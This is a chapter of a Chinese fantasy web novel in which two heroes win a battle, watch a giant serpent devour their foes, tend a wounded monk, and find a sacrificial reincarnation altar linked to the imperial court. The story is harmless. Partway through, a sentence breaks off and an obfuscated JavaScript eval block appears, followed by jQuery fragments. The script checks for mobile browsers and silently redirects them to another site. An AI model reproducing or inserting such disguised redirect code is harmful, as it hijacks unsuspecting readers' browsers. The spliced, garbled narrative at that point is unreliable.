12.祭坛

作品:《雪月长明

    千雪猛然扬起钺灵杖,寒冰之力倾泻而出,化作一头冰霜巨龙与火焰巨兽在半空交锋。


    巨龙与巨兽相互撕咬,冰与火的冲击波四散开来,竟在地面撕开一道巨大的裂口!


    就在赤眸松懈的一瞬,皓月目光一凝,长剑一挥,剑气骤然劈出,将赤眸的骨弓斩成两截,赤眸亦身中剑气重摔在地,口吐鲜血!


    紧接着,千雪趁着阴阙关注赤眸的间隙,驱动钺灵杖,顷刻间蓝色的业火骤然爆发,将鬼灯笼笼罩其中。业火如同有生命般攀爬而上,迅速吞噬着鬼灯笼的黑色光芒,阳光再次洒下。


    赤眸与阴阙尚未从战败的狼狈中恢复,忽然间,山洞内传来一声震天巨响!


    巨大的气浪夹杂着碎石土屑扑面而来,洞口处隐隐震颤,大地微微摇动,令人脚下不稳。


    千雪与皓月同时回头,只见坍塌的洞口外,巴墨竟然出现在那里,“巴墨!”两人异口同声,脸色骤变,目光一紧。


    千钧一发之际,昙鸾以迅雷之势从树下一跃而出,抱住巴墨翻滚到一边。不过他的后腿终究没能完全避开,一片黑影掠过,锋利的鳞甲擦过他的小腿,留下血肉模糊的伤痕。


    洞口猛然坍塌,尘土飞扬之中,一条巨大的黑色蟒蛇蜿蜒而出,头部如车轮般巨大,铜铃般的眼睛闪烁着嗜血的光芒。巨蟒的身躯宛如巨木,蜿蜒扭动间发出“沙沙”声,带着难以抵御的威压,仿佛将天地尽数笼罩。


    蟒蛇游动的速度快如闪电。


    千雪与皓月眼见不妙,迅速闪身避开,而巨蟒却径直向阴阙和赤眸游去。


    赤眸方才挣扎起身,抬眼间已看见那森然的巨口迎面扑来,带着腥风扑鼻,根本来不及反应,连同阴阙一同被其吞入口中。


    巨蟒吞噬赤眸和阴阙后,巨大的身躯直奔山林而去,转瞬间便消失得无影无踪。天地刹那间恢复了可怖的寂静。


    “嘶——”昙鸾此时已瘫坐在地上,捂着血肉模糊的腿,疼得直吸冷气。


    巴墨急忙蹲在他旁边,左手抱着小猫,右手抹眼泪,哽咽着问道:“你痛不痛啊?要不要紧啊?”


    昙鸾龇牙咧嘴地勉强扯出笑容:“没事没事,还好没断,只是皮外伤。”


    “皮外伤也能流这么多血吗!你痛就别笑了,笑得比哭还难看!”


    千雪与皓月一前一后赶来,皓月从腰间取出一瓶药粉,蹲下身来洒在昙鸾伤口上。千雪单膝蹲下,轻声道:“刚才多谢你救了巴墨!”


    昙鸾强忍疼痛挤出一个笑脸:“客气客气,你们不是也救了我吗?……这是小僧应该做的!”


    巴墨感动得涕泗横流,哽咽着说道:“你要是痛你就哭嘛,还逞什么强!笑得比哭还难看。”


    千雪半跪在昙鸾身旁,目光落在他血肉模糊的小腿伤口上,眉头微皱。


    这样的伤,按常理即便处理得当也需要数日才能结痂,可眼前的伤口却呈现出奇异的变化——细细看去,裂开的伤口边缘似乎正以肉眼难以捕捉的速度缓缓愈合,像是被什么无形的力量修复着。


    她低头靠近些,伸出修长的手指,轻轻触碰了一下他的伤口。肌肤之下,有一丝冷冽而温润的触感,像美玉般光滑细腻。


    “奇怪……”千雪喃喃自语,目光透着一丝疑惑与探究。


    她随即抓起昙鸾的一只手腕,用手指细细划过他的手臂,轻按他的脉门,指尖感受到的肌理依旧是光滑如玉。那白净细腻的皮肤在微弱的光下几乎泛着淡淡的光泽,与寻常人完全不同。


    昙鸾被千雪如此仔细端详,顿时有些局促,他挪动了一下身体,试图躲开。


    巴墨凑过来,睁大了眼睛盯着这一幕,忍不住问:“殿下,昙鸾哥哥的手怎么了?”


    千雪没有回答,目光微凝,直接捏住昙鸾的下巴,将他的脸抬了起来,仔细端详。


    她用手指轻轻捻过他的面颊,又左右转了转他的下巴,眉头越皱越紧。昙鸾的脸上没有一丝瑕疵,皮肤如同琢磨极致的上等美玉,连毛细孔都难以察觉,更别说半点胡渣了。


    “真是奇怪……”千雪喃喃道,手指在昙鸾的下巴上微微停留。


    突然,“啪——”的一声脆响打断了她的动作。


    皓月神色不善地站在一旁,一把打掉了千雪的手,语气中透着不加掩饰的懊恼:“师尊到底在干什么!”


    千雪看了皓月一眼,神色如常,完全无视他的不满。她淡淡说道:“我在观察他的身体。”随即回头看向昙鸾,问道:“你修的是什么法门?”


    昙鸾有些尴尬,与巴墨对视一眼,低声道:“小僧修的是药师佛法门。小时候体弱多病,家人让小僧修的,希望能护养身体。”


    “药师佛法门?”千雪低声重复,眉头微微舒展,目光却依旧深邃。


    一旁的巴墨忍不住问道:“那你一定会治伤了吧?昙鸾哥哥,救救它吧!”说着,她捧起怀中的那只花黑色小猫,小猫气若游丝,眼睛半闭着。


    昙鸾脸色一正:“帮忙倒是可以,但小僧的针和药箱都遗失了,无法施针。”


    巴墨急得眼眶泛红:“那我们找回来不就好了!快去找吧!”


    千雪轻声唤道:“巴墨。”她伸手示意巴墨将怀中的小猫递给她。


    巴墨将小猫递了过去,眼泪止不住地滑落:“它的家人都死了,就剩下它一个了……”


    千雪接过小猫,低头看着它瘦小的身躯,轻轻抚过它的额头,声音低而温柔:“它不会有事的。”手指间,灵力悄然注入小猫的体内,淡淡的暖光一闪而逝。


    皓月站在一旁,目光复杂。他的视线从千雪放在小猫身上的手移开,落在昙鸾身上,眼底的情绪晦暗难明。他紧握的手微微颤抖,却终究没有说什么。


    后来,昙鸾和巴墨坐在树荫下休息,千雪与皓月缓步走进洞窟最深处。


    在那堵被冲破的雪墙后面,空气愈发沉闷,仿佛无形的阴影笼罩在头顶。穿过一道狭长的甬道后,眼前豁然开朗,却是一片森然可怖的景象。


    映入眼帘的是一个巨大的凹陷天坑,形状怪异,如深渊吞噬天地。


    天坑中央赫然耸立着一个宛如献祭台的巨大祭坛,四周坑壁上雕刻着无数扭曲狰狞的符文。


    那些符文散发着猩红的光,时明时暗,如同恶鬼的眼睛在暗中窥视,诡异得令人心悸。


    祭坛周围,堆积如山的尸骸触目惊心。


    玄门修士的残肢、妖兽断裂的利爪、甚至一些罕见灵兽的残躯混杂在一起,散发出浓烈的血腥味与腐臭气息,令人作呕。


    祭坛中央,一条宽阔的沟槽蜿蜒盘绕,宛若一条巨大蟒蛇的蜕壳,清晰可见的滑痕与嶙峋的鳞片印迹更显其巨大的威压。


    那条曾盘踞于此的怪物,似乎在完成某种仪式后挣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717483|157099||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脱了桎梏,化身为更加恐怖的存在。


    在祭坛四周,九口转轮棺按奇异的阵法摆放,棺盖微掩,森然的鬼气自缝隙中溢出,仿佛无数怨魂在其中挣扎、嘶鸣。


    棺材上绘满了咒文,黑红交织,泛着幽光,将周围的血气与尸气尽数吸收。


    “转生祭坛?”皓月声音低沉,目光凝重。


    千雪扫视一圈,看着天坑四周残存的灵兽骸骨,语气中带着隐隐的怒意:“看来不只是凡人修士,他们连妖族也不放过。”


    皓月拾起棺旁散落的符咒与图纸,其中一张图纸上描绘着一条巨蟒的形象,鳞片上密布诡异咒文。千雪接过图纸,缓缓翻到背面。


    只见背后勾勒着一副复杂至极的符阵,精细的笔触如刀刻斧凿,将一座“转生祭坛”的布局展现得淋漓尽致。那符阵以血腥为墨、以亡魂为引,仿佛为屠戮与献祭量身定做。


    她盯着那些鬼蜿蛇行的符文,“我记得曾和你提过,世间驻世鬼大致有二:其一为化生鬼,阴煞滋生,畏光惧火,驱散之后灰飞烟灭;其二为俯身鬼,依附于活人肉身,虽然稍显棘手,但驱散后宿主多半能恢复神智。”


    皓月思索片刻,眼中渐渐露出恍然,“但最近所遇之鬼却截然不同。它们通过禁术将罗刹鬼强行转生于活体之中。借助肉身为壳,它们不仅突破了畏光之限,介于人鬼之间,成为‘转生鬼’。”


    “麻烦在于,这些转生鬼能藉秘术淬炼□□,令筋骨强韧,反应敏捷,远超凡人极限。而它们暴戾残忍,不畏生死,行事毫不顾忌。若任由其蔓延,南洲将永无宁日。”


    皓月缓缓起身,目光扫过祭坛四周,注意到一堆散落的卷轴。他走上前去,神色瞬间凝重,指尖微微颤抖,低声道:“是帝江国的印记……这些物事竟是从朝廷府库中运来的。”


    他抬头看向祭坛上那些残破的躯壳,目光中浮现出深深的哀痛与怒意,喃喃道:“若这一切的背后真是朝廷所为……那岂不是要将整个南洲拖入炼狱?”


    “这祭坛的材料、布置,甚至那些失踪的修士,恐怕都与朝廷脱不开干系。罗刹鬼如今势微,恐怕是想借朝廷之手为他们清除障碍。若永夜降临,他们便可趁乱兴风作浪。”


    “永夜到底意味着什么?”


    “千年一现的永夜,是天地大劫。届时,九日黑夜笼罩南洲,阴气鼎盛,灵力却会急剧衰退。玄门道法受制,凡人无从自保。


    天界为了阻绝鬼气的侵袭,必将降下‘天斩’,而天斩一落,神人两界将彻底断绝,那是真正的叫天天不应、叫地地不灵。若是恶鬼趁虚而入,必定生灵涂炭,苍生无望。”


    “不会的!”皓月握紧拳头,目光炽烈,“南洲不会就此覆灭,我不会允许这样的事发生!”


    声音低沉,却带着一种掷地有声的力量,仿佛要以一己之力扛起即将崩塌的天地。


    千雪侧目看向他那倔强而略显疲惫的侧脸,不禁想到,如今的他父皇驾崩,兄长流放,妹妹沦为人质,皇位被夺。他背负着几乎难以承受的命运,却仍对这世间抱持责任与希冀。


    一丝复杂的情绪悄然掠过千雪的心头,她垂下目光,将手中的图纸揉成一团:“所以,这一切必须终结。”


    皓月沉默片刻,与她四目相对,仿佛所有的信任与承诺都融在无声的目光中,“一起终结它吧!”


    千雪微微颔首。